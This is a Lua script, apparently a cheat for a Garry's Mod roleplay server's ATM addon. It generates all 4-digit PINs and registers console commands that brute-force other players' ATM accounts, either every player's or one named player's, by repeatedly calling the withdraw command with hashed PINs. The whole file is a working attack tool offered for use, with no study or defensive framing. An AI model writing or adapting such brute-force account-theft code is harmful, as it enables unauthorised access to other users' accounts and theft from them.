Code:
local breake = 0
local function realDeposit(num, amount, memo)
net.Start("ATM_DepositMoney_C2S")
net.WriteTable({Memo = memo,Num=tostring(num),Amount=amount})
net.SendToServer()
end
local function realRegister(num, name, pass)
net.Start("ATM_CreateAccount_C2S")
net.WriteTable({Num=tostring(num),Name=name,Password=pass})
net.SendToServer()
end
local function bruteforce()
local pintable = {}
for i=0, 9 do
table.insert(pintable, "000"..i)
end
for i = 10, 99 do
table.insert(pintable, "00"..i)
end
for i = 100, 999 do
table.insert(pintable, "0"..i)
end
for i = 1000, 9999 do
table.insert(pintable, i)
end
local function bruteforceall( ply, cmd, args )
MsgC(Color(0,255,0), "\nBruteforcing...\n")
for k, v in pairs(player.GetAll()) do
for _, pin in pairs(pintable) do
timer.Simple(tonumber(pin)*.015, function()
RunConsoleCommand("rp_atm_withdraw", util.CRC(pin), v:UniqueID(), args[1])
if breake == 1 then
breake = 0
return
end
end)
end
end
end
local function bruteforceply( ply, cmd , args )
MsgC(Color(0,255,0), "\nBruteforcing...\n")
for k, v in pairs(player.GetAll()) do
if string.find(string.lower(v:Name()), string.lower(args[1])) then
for _, pin in pairs(pintable) do
timer.Simple(tonumber(pin)*.01, function()
MsgC(Color(0,255,0), "\nChecking: "..pin.."\n")
RunConsoleCommand("rp_atm_withdraw", util.CRC(pin), v:UniqueID(), args[2])
if breake == 1 then
breake = 0
return
end
end)
end
end
end
end
concommand.Add("Random_atmbruteforce_all", bruteforceall) --put amount to withdraw as an argument
concommand.Add("Random_atmbruteforce_ply", bruteforceply) -- put name, then amount to withdraw as arguments
MsgC(Color(0,255,0), "\nInitialzed!!\n")
end